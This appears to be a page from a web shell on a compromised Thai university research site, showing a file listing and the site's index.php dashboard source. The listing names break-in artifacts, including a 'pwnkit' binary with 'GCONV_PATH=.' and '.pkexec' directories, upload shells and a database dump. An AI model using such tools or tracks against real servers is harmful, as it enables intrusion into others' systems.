Gecko [ research.sskru.ac.th ]

Name	Size	Permission
.pkexec	[ DIR ]	drwxr-xr-x
GCONV_PATH=.	[ DIR ]	drwxr-xr-x
_test	[ DIR ]	drwxr-xr-x
files	[ DIR ]	drwxr-xr-x
images	[ DIR ]	drwxr-xr-x
includes	[ DIR ]	drwxr-xr-x
mods	[ DIR ]	drwxr-xr-x
pics	[ DIR ]	drwxr-xr-x
.mad-root	0 B	-rw-r--r--
_config.php	247 B	-rw-r--r--
_json.php	747 B	-rw-r--r--
_lib.php	1.06 KB	-rw-r--r--
action.php	602 B	-rw-r--r--
admin.php	4.42 KB	-rw-r--r--
adminer.php	465.43 KB	-rw-r--r--
ajax.php	1.08 KB	-rw-r--r--
areas_of_operation.php	11.18 KB	-rw-r--r--
areas_of_operation_test.php	11.18 KB	-rw-r--r--
footer.php	265 B	-rw-r--r--
inde-4.php	871.03 KB	-rw-r--r--
index.php	11.8 KB	-rw-r--r--
index1.php	11.98 KB	-rw-r--r--
innovation_find.php	11.56 KB	-rw-r--r--
innovation_fox.php	584 B	-rw-r--r--
innovations.php	13.44 KB	-rw-r--r--
localhost.sql	1.8 MB	-rw-r--r--
publication_find.php	11.87 KB	-rw-r--r--
publications.php	21.83 KB	-rw-r--r--
pwnkit	10.99 KB	-rwxr-xr-x
research_find.php	10.06 KB	-rw-r--r--
research_view.php	8.06 KB	-rw-r--r--
researcher_faculty.php	9.87 KB	-rw-r--r--
researcher_find.php	9.52 KB	-rw-r--r--
researcher_info.php	13.07 KB	-rw-r--r--
researchers.php	15.65 KB	-rw-r--r--
researches.php	16.27 KB	-rw-r--r--
scan.php	0 B	-rw-r--r--
tenka.massupload.v1.php	0 B	-rw-r--r--

Code Editor : index.php

<?php
	include "_lib.php";
?>
<!DOCTYPE html>
<html lang="en">
<head>
<title>ระบบสาระสนเทศงานวิจัย สถาบันวิจัยและพัฒนา มหาวิทยาลัยราชภัฏศรีสะเกษ </title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="icon" type="image/x-icon" href="images/logo.ico">
<link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css">
<link rel="stylesheet" href="includes/font-awesome/css/font-awesome.min.css">
<link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Noto+Sans+Thai&display=swap">
<style>
    body,h1,h2,h3,h4,h5 {font-family: 'Noto Sans Thai', sans-serif; color:#333333;}
    body {font-size:16px;}
    *{margin: 0;
    padding: 0;
    box-sizing: border-box;
    list-style: none;
    text-decoration: none;
    font-family: 'Noto Sans Thai', sans-serif;}
    .w3-half img{margin-bottom:-6px;margin-top:16px;opacity:0.8;cursor:pointer}
    .w3-half img:hover{opacity:1}
    .ris-dark {background-color:#232659; color:#FFF;}
    .ris-light {color:#f4c213;}
    .ris-hover:hover {background-color:#f4c213!important; color:#232659!important;}
    .ris-active {background-color:#f4c213; color:#232659;!important}
    .ris-link {color:#000088!important;}
    .ris-link-hover:hover {color:#880000!important;}
</style>

</head>
<body>

<nav class="w3-sidebar ris-dark w3-collapse w3-top w3-padding" style="z-index:3;width:250px;" id="mySidebar"><br>
    <a href="javascript:void(0)" onclick="w3_close()" class="w3-button w3-hide-large w3-display-topleft" style="width:100%;font-size:22px">X</a>
    <div class="w3-container">
        <h3 class="w3-padding-16 ris-light" style="font-weight: bold;">RIS SSKRU</h3>
    </div>
    <div class="w3-bar-block">
        <a href="index.php" onclick="w3_close()" class="w3-bar-item w3-button w3-round-large ris-active"><i class="fa fa-home" aria-hidden="true"></i> หน้าหลัก</a> 
        <a href="researches.php" onclick="w3_close()" class="w3-bar-item w3-button w3-round-large ris-hover"><i class="fa fa-file-text-o" aria-hidden="true"></i> งานวิจัย</a> 
        <a href="researchers.php" onclick="w3_close()" class="w3-bar-item w3-button w3-round-large ris-hover"><i class="fa fa-users" aria-hidden="true"></i> นักวิจัย</a> 
        <a href="publications.php" onclick="w3_close()" class="w3-bar-item w3-button w3-round-large ris-hover"><i class="fa fa-newspaper-o" aria-hidden="true"></i> การตีพิมพ์</a> 
        <a href="innovations.php" onclick="w3_close()" class="w3-bar-item w3-button w3-round-large ris-hover"><i class="fa fa-cogs" aria-hidden="true"></i> นวัตกรรมและสิ่งประดิษฐ์</a> 
        <a href="areas_of_operation.php" onclick="w3_close()" class="w3-bar-item w3-button w3-round-large ris-hover"><i class="fa fa-globe" aria-hidden="true"></i> พื้นที่ดำเนินการ</a> 
        <a href="admin.php" onclick="w3_close()" class="w3-bar-item w3-button w3-round-large ris-hover"><i class="fa fa-user-secret" aria-hidden="true"></i> ผู้ดูแลระบบ</a>
    </div>
    </nav>

<header class="w3-container w3-top w3-hide-large w3-xlarge w3-padding">
    <a href="javascript:void(0)" class="w3-button w3-red w3-margin-right" onclick="w3_open()">&#9776;</a>
    <span></span>
    </header>

<div class="w3-overlay w3-hide-large" onclick="w3_close()" style="cursor:pointer" title="close side menu" id="myOverlay"></div>

<div class="w3-main" style="margin-left:250px;margin-right:0px">
        <div class="w3-bottombar" style="padding-top:20px;padding-bottom:20px">
            <div class="w3-row">
                <div class="w3-col" style="width:140px"><img src="images/logo.png" class="w3-image w3-padding"></div>
                <div class="w3-rest"><br><h3>ระบบสารสนเทศงานวิจัย สถาบันวิจัยและพัฒนา มหาวิทยาลัยราชภัฏศรีสะเกษ<br>
                Research Information System(RIS)</h3></div>
            </div>
        </div>
        <div class="w3-panel">
            <a href="index.php" class="ris-link ris-link-hover">หน้าหลัก</a> > 
            ระบบสารสนเทศงานวิจัย
        </div>
        <?php
            $sql = "SELECT COUNT(id) AS total_res, SUM(fund_received) AS total_fund FROM research WHERE 1 ";
            $summary = $g_db->getObject($sql);
        ?>
        <div class="w3-cell-row w3-panel">
            <div class="w3-cell">
                <h2 class="w3-center" style="font-weight: bold;">DASHBOARD RESEARCH SSKRU</h2>
            </div>
            <div class="w3-cell">
                <div class="w3-padding w3-center w3-khaki w3-card-4 w3-margin-right">
                    <h2><?=sprintf("%0.2f", ($summary->total_fund / 1000000))?>M</h2>
                    รวมงบประมาณ
                </div>
            </div>
            <div class="w3-cell">
                <div class="w3-padding w3-center w3-light-blue w3-card-4 w3-margin-left">
                    <h2><?=$g_util->setNumberFormat($summary->total_res)?></h2>
                    จำนวนโครงการ
                </div>
            </div>
        </div>

<?php
        $sql = "SELECT * FROM fund WHERE fund_total > 0 ORDER BY fund_total DESC";
        $reports = $g_db->getObjects($sql);
        
        $data1 = "";
        foreach($reports as $report) {
            $data1 .= "{
                        \"fund\": \"".$report->name2."\",\n
                        \"total\": ".$report->fund_total."\n
                    },\n";
        }
    ?>

// Themes begin
        am4core.useTheme(am4themes_animated);
        // Themes end

// Create chart instance
        var chart = am4core.create("chartdiv1", am4charts.PieChart);

let title = chart.titles.create();
        title.text = "แหล่งทุน";
        title.align = "left";
        title.fontSize = 18;
        title.fontWeight = "bold";

// Add data
        chart.data = [<?=$data1?>];

// Add and configure Series
        var pieSeries = chart.series.push(new am4charts.PieSeries());
        pieSeries.dataFields.value = "total";
        pieSeries.dataFields.category = "fund";
        pieSeries.slices.template.stroke = am4core.color("#fff");
        pieSeries.slices.template.strokeOpacity = 1;
        
        pieSeries.radius = "90%";
        //pieSeries.labels.text = "{category}: {value.percent.formatNumber('##.#')}% ({value.value} บาท)";
        //pieSeries.labels.template.fontSize = 11;
        pieSeries.labels.template.wrap = true;
        pieSeries.slices.template.tooltipText = "{category}: {value.value} บาท";
        pieSeries.slices.template.fontSize = 9;

// This creates initial animation
        pieSeries.hiddenState.properties.opacity = 1;
        pieSeries.hiddenState.properties.endAngle = -90;
        pieSeries.hiddenState.properties.startAngle = -90;

chart.hiddenState.properties.radius = am4core.percent(0);

}); // end am4core.ready()
    </script>

// Themes begin
        am4core.useTheme(am4themes_animated);
        // Themes end

var chart = am4core.create("chartdiv2", am4charts.XYChart);
        chart.hiddenState.properties.opacity = 0; // this creates initial fade-in

let title = chart.titles.create();
        title.text = "ประเภททุนวิจัย";
        title.align = "left";
        title.fontSize = 18;
        title.fontWeight = "bold";
        title.padding(0, 0, 30, 0);

chart.data = [
        {
            category: "ทุนภายใน",
            value1: 1,
            value2: 5,
            value3: 3
        },
        {
            category: "ทุนภายนอก",
            value1: 2,
            value2: 5,
            value3: 3
        }
        ];

chart.colors.step = 2;
        chart.padding(30, 30, 10, 30);
        chart.legend = new am4charts.Legend();

var categoryAxis = chart.xAxes.push(new am4charts.CategoryAxis());
        categoryAxis.dataFields.category = "category";
        categoryAxis.renderer.grid.template.location = 0;

var valueAxis = chart.yAxes.push(new am4charts.ValueAxis());
        valueAxis.min = 0;
        valueAxis.max = 100;
        valueAxis.strictMinMax = true;
        valueAxis.calculateTotals = true;
        valueAxis.renderer.minWidth = 50;

var series1 = chart.series.push(new am4charts.ColumnSeries());
        series1.columns.template.width = am4core.percent(80);
        series1.columns.template.tooltipText =
        "{name}: {valueY.totalPercent.formatNumber('#.00')}%";
        series1.name = "งานวิจัย";
        series1.dataFields.categoryX = "category";
        series1.dataFields.valueY = "value1";
        series1.dataFields.valueYShow = "totalPercent";
        series1.dataItems.template.locations.categoryX = 0.5;
        series1.stacked = true;
        series1.tooltip.pointerOrientation = "vertical";

var bullet1 = series1.bullets.push(new am4charts.LabelBullet());
        bullet1.interactionsEnabled = false;
        bullet1.label.text = "{valueY.totalPercent.formatNumber('#.00')}%";
        bullet1.label.fill = am4core.color("#ffffff");
        bullet1.locationY = 0.5;

var series2 = chart.series.push(new am4charts.ColumnSeries());
        series2.columns.template.width = am4core.percent(80);
        series2.columns.template.tooltipText =
        "{name}: {valueY.totalPercent.formatNumber('#.00')}%";
        series2.name = "งานวิจัยและบริการวิชาการ";
        series2.dataFields.categoryX = "category";
        series2.dataFields.valueY = "value2";
        series2.dataFields.valueYShow = "totalPercent";
        series2.dataItems.template.locations.categoryX = 0.5;
        series2.stacked = true;
        series2.tooltip.pointerOrientation = "vertical";

var bullet2 = series2.bullets.push(new am4charts.LabelBullet());
        bullet2.interactionsEnabled = false;
        bullet2.label.text = "{valueY.totalPercent.formatNumber('#.00')}%";
        bullet2.locationY = 0.5;
        bullet2.label.fill = am4core.color("#ffffff");

//chart.scrollbarX = new am4core.Scrollbar();

}); // end am4core.ready()
    </script>

<?php
            include("footer.php");
    ?>
</div>

// Modal Image Gallery
function onClick(element) {
  document.getElementById("img01").src = element.src;
  document.getElementById("modal01").style.display = "block";
  var captionText = document.getElementById("caption");
  captionText.innerHTML = element.alt;
}
</script>

</body>
</html>
<?php
    $g_db->close();
?>

${this.title}

Code Editor : index.php